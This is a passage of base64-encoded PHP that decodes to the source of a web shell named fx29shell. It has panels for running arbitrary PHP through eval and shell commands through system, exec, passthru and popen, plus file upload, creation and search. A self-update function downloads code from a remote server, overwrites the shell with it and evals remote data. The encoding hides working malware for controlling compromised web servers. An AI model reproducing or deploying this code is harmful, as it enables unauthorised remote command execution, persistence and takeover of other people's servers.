gkdik7fWVjaG8gIjx0ZD4iLiR2LiI8L3RkPiI7fWVjaG8gIjwvdHI+XG4iO31lY2hvICI8L3RhYmxlPlxuIjt9fWlmKCRhY3Q9PSJldmFsIil7aWYoIWVtcHR5KCRldmFsKSl7YmFyX2hlYWRlcigiUmVzdWx0IG9mIGV4ZWN1dGlvbiB0aGlzIFBIUC1jb2RlOiIpOyR0bXA9QG9iX2dldF9jb250ZW50cygpOyRvbGRkaXI9cmVhbHBhdGgoIi4iKTtAY2hkaXIoJGQpO2lmKCR0bXApe0BvYl9jbGVhbigpO2V2YWwoJGV2YWwpOyRyZXQ9QG9iX2dldF9jb250ZW50cygpOyRyZXQ9Y29udmVydF9jeXJfc3RyaW5nKCRyZXQsImQiLCJ3Iik7QG9iX2NsZWFuKCk7ZWNobyAkdG1wO2lmKEAkZXZhbF90eHQpeyRyb3dzPWNvdW50KGV4cGxvZGUoIlxyXG4iLCRyZXQpKSsxIDtpZigkcm93czwxMCApeyRyb3dzPTEwIDt9ZWNobyAiPGJyPjx0ZXh0YXJlYSBjb2xzPVwiMTI1XCIgcm93cz1cIiIuJHJvd3MuIlwiIHJlYWRvbmx5PiIuaHRtbHNwZWNpYWxjaGFycygkcmV0KS4iPC90ZXh0YXJlYT4iO31lbHNlIHtlY2hvICRyZXQuIjxicj4iO319ZWxzZSB7aWYoJGV2YWxfdHh0KXtlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjVcIiByb3dzPVwiMTBcIiByZWFkb25seT4iO2V2YWwoJGV2YWwpO2VjaG8gIjwvdGV4dGFyZWE+Ijt9ZWxzZSB7ZWNobyAkcmV0O319QGNoZGlyKCRvbGRkaXIpO31lbHNlIHtiYXJfaGVhZGVyKCIuOiBQSFAtY29kZSBFeGVjdXRpb24gOi4iKTtpZihlbXB0eSgkZXZhbF90eHQpKXskZXZhbF90eHQ9VFJVRTt9fSA/Pg0KPGZvcm0gbmFtZT0iZl9ldmFsIiBhY3Rpb249Ijw/IGVjaG8gJHN1cmw7ID8+IiBtZXRob2Q9InBvc3QiPg0KCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImV2YWwiPg0KCTx0ZXh0YXJlYSBuYW1lPSJldmFsIiBjb2xzPSIxMjUiIHJvd3M9IjEwIj4NCjw/IGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAJGV2YWwpOyA/Pg0KCTwvdGV4dGFyZWE+DQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9Ijw/IGVjaG8gJGRpc3BkOyA/PiI+PGJyPg0KCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4gRGlzcGxheSBpbiB0ZXh0LWFyZWEgPGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJldmFsX3R4dCIgdmFsdWU9IjEiPD8gaWYoQCRldmFsX3R4dCl7ZWNobyAiIGNoZWNrZWQiO30gPz4+DQo8L2Zvcm0+DQo8PyB9aWYoJGFjdD09InVwZGF0ZSIpeyRyZXQ9ZngyOXNoX2dldHVwZGF0ZShAJGNvbmZpcm11cGRhdGUpO2VjaG8gIjxiPiRyZXQ8L2I+IjtpZihzdHJpc3RyKCRyZXQsIm5ldyB2ZXJzaW9uIikpe2VjaG8gIjxicj48YnI+PGlucHV0IHR5cGU9YnV0dG9uIG9uY2xpY2s9XCJsb2NhdGlvbi5ocmVmPSciLiRzdXJsLiJhY3Q9dXBkYXRlJmNvbmZpcm11cGRhdGU9MSc7XCIgdmFsdWU9XCJVcGRhdGUgbm93XCI+Ijt9fWlmKCRhY3Q9PSJwaHBpbmZvIil7QG9iX2NsZWFuKCk7cGhwaW5mbygpO2Z4MjlzaGV4aXQoKTt9aWYoJGFjdD09InRvb2xzIil7ZngyOXNoX3Rvb2xzKCk7fWlmKCRhY3Q9PSJhYm91dCIpe2Z4MjlzaF9hYm91dCgpO319ID8+DQoNCjwvZGl2Pg0KPCEtLSBFbmQgb2YgTWFpbiBJbmZvIC0tPg0KDQo8IS0tIENvbW1hbmRzIFBhbmVsIC0tPg0KPGRpdiBpZD0ibWFpbiI+DQoNCgk8ZGl2IGNsYXNzPSJiYXJ0aXRsZSI+PGI+LjogQ09NTUFORFMgUEFORUwgOi48L2I+PC9kaXY+DQoNCjx0YWJsZSBpZD0ibWFpbnBhbmVsIj4NCgk8dHI+PHRoIGNvbHNwYW49IjIiPkNvbW1hbmQ6PC90aD4NCgk8dGQ+DQoJPGZvcm0gbmFtZT0iZl9jbWQiIG1ldGhvZD0icG9zdCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImNtZCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+DQoJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIHNpemU9IjEwMCIgdmFsdWU9Ijw/IGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQoJPC9mb3JtPg0KCTwvdGQ+PC90cj4NCg0KCTx0cj48dGggY29sc3Bhbj0iMiI+UXVpY2sgQ29tbWFuZHM6PC90aD4NCgk8dGQ+DQoJPGZvcm0gbmFtZT0iZl9xY21kIiBtZXRob2Q9InBvc3QiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJjbWQiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD8gZWNobyAkZGlzcGQ7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPg0KCQk8c2VsZWN0IG5hbWU9ImNtZCI+DQo8PyBmb3JlYWNoKCRjbWRhbGlhc2VzIGFzICRhbHMpe2VjaG8gIlx0XHRcdCI7ZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMSBdKS4nIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swIF0pLic8L29wdGlvbj4nO2VjaG8gIlxuIjt9ID8+DQoJCTwvc2VsZWN0Pg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIj4NCgk8L2Zvcm0+DQoJPC90ZD48L3RyPg0KDQoJPHRyPjx0aCBjb2xzcGFuPSIyIiByb3dzcGFuPSIyIj5QSFAgRmlsZXN5c3RlbTo8L3RoPg0KCTx0ZD4NCgk8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCglmdW5jdGlvbiBzZXRfYXJnKHR4dDEsdHh0Mikgew0KCSAgZG9jdW1lbnQuZm9ybXMuZnBocGZzeXMucGhwZnN5c2Z1bmMudmFsdWUuc2VsZWN0ZWQgPSAiRG93bmxvYWQiOw0KCSAgZG9jdW1lbnQuZm9ybXMuZnBocGZzeXMuYXJnMS52YWx1ZSA9IHR4dDE7DQoJICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5hcmcyLnZhbHVlID0gdHh0MjsNCgl9DQoJZnVuY3Rpb24gY2hnX2FyZyhudW0sdHh0MSx0eHQyKSB7DQoJICBpZiAobnVtPT0wKSB7DQoJICAgIGRvY3VtZW50LmZvcm1zLmZwaHBmc3lzLmFyZzEudHlwZSA9ICJoaWRkZW4iOw0KCSAgICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5BMS50eXBlID0gImhpZGRlbiI7DQoJICB9DQoJICBpZiAobnVtPD0xKSB7DQoJICAgIGRvY3VtZW50LmZvcm1zLmZwaHBmc3lzLmFyZzIudHlwZSA9ICJoaWRkZW4iOw0KCSAgICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5BMi50eXBlID0gImhpZGRlbiI7DQoJICB9DQoJICBpZiAobnVtPT0yKSB7DQoJICAgIGRvY3VtZW50LmZvcm1zLmZwaHBmc3lzLkExLnR5cGUgPSAibGFiZWwiOw0KCSAgICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5BMi50eXBlID0gImxhYmVsIjsNCgkgICAgZG9jdW1lbnQuZm9ybXMuZnBocGZzeXMuYXJnMS50eXBlID0gInRleHQiOw0KCSAgICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5hcmcyLnR5cGUgPSAidGV4dCI7DQoJICB9DQoJICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5BMS52YWx1ZSA9IHR4dDEgKyAiOiI7DQoJICBkb2N1bWVudC5mb3Jtcy5mcGhwZnN5cy5BMi52YWx1ZSA9IHR4dDIgKyAiOiI7DQoJfQ0KCTwvc2NyaXB0Pg0KCTxmb3JtIG5hbWU9ImZwaHBmc3lzIiBtZXRob2Q9InBvc3QiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJwaHBmc3lzIj4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9Ijw/IGVjaG8gJGRpc3BkOyA/PiI+DQoJCTxzZWxlY3QgbmFtZT0icGhwZnN5c2Z1bmMiPg0KPD8gZm9yZWFjaCgkcGhwZnNhbGlhc2VzIGFzICRhbHMpe2lmKCRhbHNbMSBdPT1AJHBocGZzeXNmdW5jKXtlY2hvICJcdFx0PG9wdGlvbiBzZWxlY3RlZCB2YWx1ZT1cIiIuJGFsc1sxIF0uIlwiIG9uY2xpY2s9XCJjaGdfYXJnKCckYWxzWzJdJywnJGFsc1szXScsJyRhbHNbNF0nKVwiPiIuJGFsc1swIF0uIjwvb3B0aW9uPlxuIjt9ZWxzZSB7ZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIiLiRhbHNbMSBdLiJcIiBvbmNsaWNrPVwiY2hnX2FyZygnJGFsc1syXScsJyRhbHNbM10nLCciLkAkYWxzWzQgXS4iJylcIj4iLiRhbHNbMCBdLiI8L29wdGlvbj5cbiI7fX0gPz4NCgkJPC9zZWxlY3Q+DQoJCTxpbnB1dCB0eXBlPSJsYWJlbCIgbmFtZT0iQTEiIHZhbHVlPSJGaWxlOiIgc2l6ZT0yIGRpc2FibGVkPg0KCQk8aW5wdXQgdHlwZT10ZXh0IG5hbWU9YXJnMSBzaXplPTQwIHZhbHVlPSI8PyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRhcmcxKTsgPz4iPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJBMiIgc2l6ZT0zIGRpc2FibGVkID4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYXJnMiIgc2l6ZT00MCB2YWx1ZT0iPD8gZWNobyBAaHRtbHNwZWNpYWxjaGFycygkYXJnMik7ID8+Ij4NCgkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQoJPC9mb3JtPg0KCTwvdGQ+PC90cj4NCgk8dHI+PHRkPg0KPD8gZm9yZWFjaCgkc2hfc291cmNleiBhcyAkZT0+JG8pe2VjaG8gIlx0PGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPVwiJGVcIiBvbmNsaWNrPVwic2V0X2FyZygnJG9bMF0nLCckb1sxXScpXCI+XG4iO30gPz4NCgk8L3RkPjwvdHI+DQoNCgk8dHI+PHRoIHJvd3NwYW49IjQiPkZpbGVzeXN0ZW08L3RoPg0KCTx0aD5TZWFyY2g6PC90aD4NCgk8dGQ+DQoJPGZvcm0gbmFtZT0iZl9zZWFyY2giIG1ldGhvZD0icG9zdCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9InNlYXJjaCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic2VhcmNoX25hbWUiIHNpemU9IjI5IiB2YWx1ZT0iKC4qKSI+IDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ic2VhcmNoX25hbWVfcmVnZXhwIiB2YWx1ZT0iMSIgY2hlY2tlZD4gcmVnZXhwIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj4NCgk8L2Zvcm0+DQoJPC90ZD48L3RyPg0KCTx0cj48dGg+VXBsb2FkOjwvdGg+DQoJPHRkPg0KCTxmb3JtIG5hbWU9ImZfdXBsb2FkIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJ1cGxvYWQiPg0KCQk8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0idXBsb2FkZmlsZSIgc2l6ZT0iNTAiPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJVcGxvYWQiPg0KCQk8PyBlY2hvICI8c21hbGw+TWF4IHNpemU6ICIuQGluaV9nZXQoInVwbG9hZF9tYXhfZmlsZXNpemUiKS4iQiB8IFRlbXAgZGlyOiAiLkBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpLiI8L3NtYWxsPlxuIjsgPz4NCgk8L2Zvcm0+DQoJPC90ZD48L3RyPg0KCTx0cj48dGg+Q3JlYXRlOjwvdGg+DQoJPHRkPg0KCTxmb3JtIG5hbWU9ImZfbWtmaWxlIiBtZXRob2Q9InBvc3QiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3QiIHZhbHVlPSJta2ZpbGUiPg0KCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iPD8gZWNobyAkZGlzcGQ7ID8+Ij4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnQiIHZhbHVlPSJlZGl0Ij4NCgkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZmlsZSIgc2l6ZT0iNzAiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im92ZXJ3cml0ZSIgdmFsdWU9IjEiIGNoZWNrZWQ+IE92ZXJ3cml0ZSA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkNyZWF0ZSI+DQoJPC9mb3JtPg0KCTwvdGQ+PC90cj4NCgk8dHI+PHRoPlZpZXc6PC90aD48dGQ+DQoJPGZvcm0gbmFtZT0iZl9nb2ZpbGUiIG1ldGhvZD0icG9zdCI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdCIgdmFsdWU9ImdvZmlsZSI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPg0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iNzAiIHZhbHVlPSI8PyBlY2hvICRkaXNwZDsgPz4iPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iVmlldyI+DQoJPC9mb3JtPg0KCTwvdGQ+PC90cj4NCjwvdGFibGU+DQoNCgk8ZGl2IGNsYXNzPSJiYXJ0aXRsZSBmb290ZXIiPjw/IGVjaG8gaHRtbF9mb290ZXIoKTsgPz48L2Rpdj4NCg0KPC9kaXY+DQo8IS0tIEVuZCBvZiBDb21tYW5kcyBQYW5lbCAtLT4NCg0KPC9jZW50ZXI+PC9ib2R5Pg0KDQo8L2h0bWw+DQo8PyBmdW5jdGlvbiBzYWZlbW9kZSgpe2lmKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBlcmVnaSgib24iLEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkpe3JldHVybiBUUlVFO31lbHNlIHtyZXR1cm4gRkFMU0U7fX1mdW5jdGlvbiBnZXRkaXNmdW5jKCl7JGRpc2Z1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIik7aWYoIWVtcHR5KCRkaXNmdW5jKSl7JGRpc2Z1bmM9c3RyX3JlcGxhY2UoIiAiLCIiLCRkaXNmdW5jKTskZGlzZnVuYz1leHBsb2RlKCIsIiwkZGlzZnVuYyk7fWVsc2UgeyRkaXNmdW5jPWFycmF5KCk7fXJldHVybiAkZGlzZnVuYzt9ZnVuY3Rpb24gZW5hYmxlZCgkZnVuYyl7aWYoZnVuY3Rpb25fZXhpc3RzKCRmdW5jKSAmJiBpc19jYWxsYWJsZSgkZnVuYykgJiYgIWluX2FycmF5KCRmdW5jLGdldGRpc2Z1bmMoKSkpe3JldHVybiBUUlVFO31lbHNlIHtyZXR1cm4gRkFMU0U7fX1mdW5jdGlvbiBmeDI5ZXhlYygkY21kKXskb3V0cHV0PSIiO2lmKGVuYWJsZWQoInBvcGVuIikpeyRoPXBvcGVuKCRjbWQuJyAyPiYxJywncicpO2lmKGlzX3Jlc291cmNlKCRoKSl7d2hpbGUoIWZlb2YoJGgpKXskb3V0cHV0Lj1mcmVhZCgkaCwyMDk2ICk7fXBjbG9zZSgkaCk7fX1lbHNlaWYoZW5hYmxlZCgicGFzc3RocnUiKSl7QG9iX3N0YXJ0KCk7cGFzc3RocnUoJGNtZCk7JG91dHB1dD1Ab2JfZ2V0X2NvbnRlbnRzKCk7QG9iX2VuZF9jbGVhbigpO31lbHNlaWYoZW5hYmxlZCgic3lzdGVtIikpe0BvYl9zdGFydCgpO3N5c3RlbSgkY21kKTskb3V0cHV0PUBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fWVsc2VpZihlbmFibGVkKCJleGVjIikpe2V4ZWMoJGNtZCwkbyk7JG91dHB1dD1qb2luKCJcclxuIiwkbyk7fWVsc2VpZihlbmFibGVkKCJzaGVsbF9leGVjIikpeyRvdXRwdXQ9c2hlbGxfZXhlYygkY21kKTt9cmV0dXJuICRvdXRwdXQ7fWZ1bmN0aW9uIGZ4MjlleGVjMigkY21kKXskb3V0cHV0PSIiO2lmKGVuYWJsZWQoInNoZWxsX2V4ZWMiKSl7JG91dHB1dD1zaGVsbF9leGVjKCRjbWQpO31lbHNlaWYoZW5hYmxlZCgiZXhlYyIpKXtleGVjKCRjbWQsJG8pOyRvdXRwdXQ9am9pbigiXHJcbiIsJG8pO31lbHNlaWYoZW5hYmxlZCgic3lzdGVtIikpe0BvYl9zdGFydCgpO3N5c3RlbSgkY21kKTskb3V0cHV0PUBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fWVsc2VpZihlbmFibGVkKCJwYXNzdGhydSIpKXtAb2Jfc3RhcnQoKTtwYXNzdGhydSgkY21kKTskb3V0cHV0PUBvYl9nZXRfY29udGVudHMoKTtAb2JfZW5kX2NsZWFuKCk7fWVsc2VpZihlbmFibGVkKCJwb3BlbiIpKXskaD1wb3BlbigkY21kLicgMj4mMScsJ3InKTtpZihpc19yZXNvdXJjZSgkaCkpe3doaWxlKCFmZW9mKCRoKSl7JG91dHB1dC49ZnJlYWQoJGgsMjA5NiApO31wY2xvc2UoJGgpO319cmV0dXJuICRvdXRwdXQ7fWZ1bmN0aW9uIGlzX3dpbmRvd3MoKXtyZXR1cm4gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLDAgLDMgKSk9PSJ3aW4iO31mdW5jdGlvbiB3aGljaCgkcHIpeyRwYXRoPWZ4MjlleGVjKCJ3aGljaCAkcHIiKTtpZighZW1wdHkoJHBhdGgpKXtyZXR1cm4gJHBhdGg7fWVsc2Uge3JldHVybiAkcHI7fX1mdW5jdGlvbiBnZXRfc3RhdHVzKCl7JGFycmZ1bmM9YXJyYXkoYXJyYXkoIk15U1FMIiwibXlzcWxfY29ubmVjdCIpLGFycmF5KCJNU1NRTCIsIm1zc3FsX2Nvbm5lY3QiKSxhcnJheSgiT3JhY2xlIiwib2NpbG9nb24iKSxhcnJheSgiUG9zdGdyZVNRTCIsInBnX2Nvbm5lY3QiKSxhcnJheSgiQ3VybCIsImN1cmxfdmVyc2lvbiIpLCk7JGFycmNtZD1hcnJheShhcnJheSgiRmV0Y2giLCJmZXRjaCAtLWhlbHAiKSxhcnJheSgiV2dldCIsIndnZXQgLS1oZWxwIiksYXJyYXkoIlBlcmwiLCJwZXJsIC12IiksKTskc3RhdGluZm89YXJyYXkoKTtmdW5jdGlvbiBzaG93c3RhdCgkc3VwLCRzdGF0KXtpZigkc3RhdD09Im9uIil7cmV0dXJuICIkc3VwOiA8Zm9udCBjbGFzcz1vbj5PTjwvZm9udD4iO31lbHNlIHtyZXR1cm4gIiRzdXA6IDxmb250IGNsYXNzPW9mZj5PRkY8L2ZvbnQ+Ijt9fWZvcmVhY2goJGFycmZ1bmMgYXMgJGZ1bmMpe2lmKGZ1bmN0aW9uX2V4aXN0cygkZnVuY1sxIF0pKXskc3RhdGluZm9bXT1zaG93c3RhdCgkZnVuY1swIF0sIm9uIik7fWVsc2UgeyRzdGF0aW5mb1tdPXNob3dzdGF0KCRmdW5jWzAgXSwib2ZmIik7fX0kc3RhdGluZm9bXT0oQGV4dGVuc2lvbl9sb2FkZWQoJ3NvY2tldHMnKSk/c2hvd3N0YXQoIlNvY2tldHMiLCJvbiIpOnNob3dzdGF0KCJTb2NrZXRzIiwib2ZmIik7Zm9yZWFjaCgkYXJyY21kIGFzICRjbWQpe2lmKGZ4MjlleGVjMigkY21kWzEgXSkpeyRzdGF0aW5mb1tdPXNob3dzdGF0KCRjbWRbMCBdLCJvbiIpO31lbHNlIHskc3RhdGluZm9bXT1zaG93c3RhdCgkY21kWzAgXSwib2ZmIik7fX1yZXR1cm4gaW1wbG9kZSgiICIsJHN0YXRpbmZvKTt9ZnVuY3Rpb24gc2hvd2Rpc2Z1bmMoKXskZGlzZnVuYz1nZXRkaXNmdW5jKCk7aWYoJGRpc2Z1bmM9QGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpe3JldHVybiAnPGZvbnQgY2xhc3M9Im9mZiI+Jy4kZGlzZnVuYy4nPC9mb250Pic7fWVsc2Uge3JldHVybiAnPGZvbnQgY2xhc3M9Im9uIj5OT05FPC9mb250Pic7fX1mdW5jdGlvbiBkaXNwX2RyaXZlcygkY3VyZGlyLCRzdXJsKXskbGV0dGVycz0iIjskdj1leHBsb2RlKCJcXCIsJGN1cmRpcik7JHY9JHZbMCBdO2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcil7JGJvb2w9JGlzZGlza2V0dGU9JGxldHRlcj09IkEiO2lmKCEkYm9vbCl7JGJvb2w9aXNfZGlyKCRsZXR0ZXIuIjpcXCIpO31pZigkYm9vbCl7JGxldHRlcnMuPSI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4oJGlzZGlza2V0dGU/IiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ01ha2Ugc3VyZSB0aGF0IHRoZSBkaXNrZXR0ZSBpcyBpbnNlcnRlZCBwcm9wZXJseSEnKVwiIjoiIikuIj4gIjtpZigkbGV0dGVyLiI6IiE9JHYpeyRsZXR0ZXJzLj0kbGV0dGVyO31lbHNlIHskbGV0dGVycy49Ijxmb250IGNvbG9yPSMzMzY2RkY+Ii4kbGV0dGVyLiI8L2ZvbnQ+Ijt9JGxldHRlcnMuPSIgPC9hPiAiO319aWYoIWVtcHR5KCRsZXR0ZXJzKSl7cmV0dXJuICRsZXR0ZXJzO31lbHNlIHtyZXR1cm4gIk5vbmUiO319ZnVuY3Rpb24gdmlld19zaXplKCRzaXplKXtpZighaXNfbnVtZXJpYygkc2l6ZSkpe3JldHVybiBGQUxTRTt9ZWxzZSB7aWYoJHNpemU+PTEwNzM3NDE4MjQgKXskc2l6ZT1yb3VuZCgkc2l6ZS8xMDczNzQxODI0ICoxMDAgKS8xMDAgLiIgR0IiO31lbHNlaWYoJHNpemU+PTEwNDg1NzYgKXskc2l6ZT1yb3VuZCgkc2l6ZS8xMDQ4NTc2ICoxMDAgKS8xMDAgLiIgTUIiO31lbHNlaWYoJHNpemU+PTEwMjQgKXskc2l6ZT1yb3VuZCgkc2l6ZS8xMDI0ICoxMDAgKS8xMDAgLiIgS0IiO31lbHNlIHskc2l6ZT0kc2l6ZS4iIEIiO31yZXR1cm4gJHNpemU7fX1mdW5jdGlvbiBkaXNwX2ZyZWVzcGFjZSgkY3VyZHJ2KXskZnJlZT1AZGlza19mcmVlX3NwYWNlKCRjdXJkcnYpOyR0b3RhbD1AZGlza190b3RhbF9zcGFjZSgkY3VyZHJ2KTtpZigkZnJlZT09PUZBTFNFKXskZnJlZT0wIDt9aWYoJHRvdGFsPT09RkFMU0UpeyR0b3RhbD0wIDt9aWYoJGZyZWU8MCApeyRmcmVlPTAgO31pZigkdG90YWw8MCApeyR0b3RhbD0wIDt9JHVzZWQ9JHRvdGFsLSRmcmVlOyRmcmVlX3BlcmNlbnQ9cm91bmQoMTAwIC8oJHRvdGFsLyRmcmVlKSwyICkuIiUiOyRmcmVlPXZpZXdfc2l6ZSgkZnJlZSk7JHRvdGFsPXZpZXdfc2l6ZSgkdG90YWwpO3JldHVybiAiJGZyZWUgb2YgJHRvdGFsICgkZnJlZV9wZXJjZW50KSI7fWZ1bmN0aW9uIGZ4MjlzaF9nZXR1cGRhdGUoJHVwZGF0ZT1GQUxTRSl7Z2xvYmFsICRmeDI5c2hfdXBkYXRldXJsOyR1cmw9JGZ4MjlzaF91cGRhdGV1cmwuIj92ZXJzaW9uPSIudXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoc2hfdmVyKSk7JGRhdGE9QGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwpO2lmKCEkZGF0YSl7cmV0dXJuICI8ZGl2IGNsYXNzPWVycm1zZz5DYW4ndCBjb25uZWN0IHRvIHVwZGF0ZS1zZXJ2ZXIhICgkZngyOXNoX3VwZGF0ZXVybCk8L2Rpdj4iO31lbHNlIHskZGF0YT1sdHJpbSgkZGF0YSk7aWYoJGRhdGF7MCB9PT0iXHg5OSIgYW5kICRkYXRhezEgfT09Ilx4MDEiKXtyZXR1cm4gIllvdSBhbHJlYWR5IHVzaW5nIGxhdGVzdCB2ZXJzaW9uISI7fWlmKCRkYXRhezAgfT09Ilx4OTkiIGFuZCAkZGF0YXsxIH09PSJceDAyIil7JHN0cmluZz1zdWJzdHIoJGRhdGEsMyAsb3JkKCRkYXRhezIgfSkpOyRzdHJpbmc9ZXhwbG9kZSgifCIsJHN0cmluZyk7aWYoJHVwZGF0ZSl7JGNvbmZ2YXJzPWFycmF5KCk7JHNvdXJjZXVybD0kc3RyaW5nWzAgXTskc291cmNlPUBmaWxlX2dldF9jb250ZW50cygkc291cmNldXJsKTtpZighJHNvdXJjZSl7cmV0dXJuICJDYW4ndCBmZXRjaCB1cGRhdGUhIjt9ZWxzZSB7JGZwPUBmb3BlbihfX0ZJTEVfXywidyIpO2lmKCEkZnApe3JldHVybiAiTG9jYWwgZXJyb3I6IGNhbid0IHdyaXRlIHVwZGF0ZSB0byAiLl9fRklMRV9fLiIhIFlvdSBtYXkgZG93bmxvYWQgZngyOXNoZWxsLnBocCBtYW51YWxseSA8YSBocmVmPVwiIi4kc291cmNldXJsLiJcIj48dT5oZXJlPC91PjwvYT4uIjt9ZWxzZSB7ZndyaXRlKCRmcCwkc291cmNlKTtmY2xvc2UoJGZwKTtyZXR1cm4gIlVwZGF0ZSBjb21wbGV0ZWQhIjt9fX1lbHNlIHtyZXR1cm4gIk5ldyB2ZXJzaW9uIGlzIGF2YWlsYWJsZTogIi4kc3RyaW5nWzEgXTt9fWVsc2VpZigkZGF0YXswIH09PSJceDk5IiBhbmQgJGRhdGF7MSB9PT0iXHgwMyIpe2V2YWwoJHN0cmluZyk7cmV0dXJuIFRSVUU7fWVsc2Uge3JldHVybiAiPGRpdiBjbGFzcz1lcnJtc2c+RXJyb3IgaW4gcHJvdG9jb2w6IHNlZ21lbnRhdGlvbiBmYWlsZWQhICgiLiRkYXRhLiIpPC9kaXY+Ijt9fX1mdW5jdGlvbiBmeDI5X2J1ZmZfcHJlcGFyZSgpe2dsb2JhbCAkc2Vzc19kYXRhLCRhY3Q7Zm9yZWFjaCgkc2Vzc19kYXRhWyJjb3B5Il0gYXMgJGs9PiR2KXskc2Vzc19kYXRhWyJjb3B5Il1bJGtdPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO31mb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdil7JHNlc3NfZGF0YVsiY3V0Il1bJGtdPXN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUixyZWFscGF0aCgkdikpO30kc2Vzc19kYXRhWyJjb3B5Il09YXJyYXlfdW5pc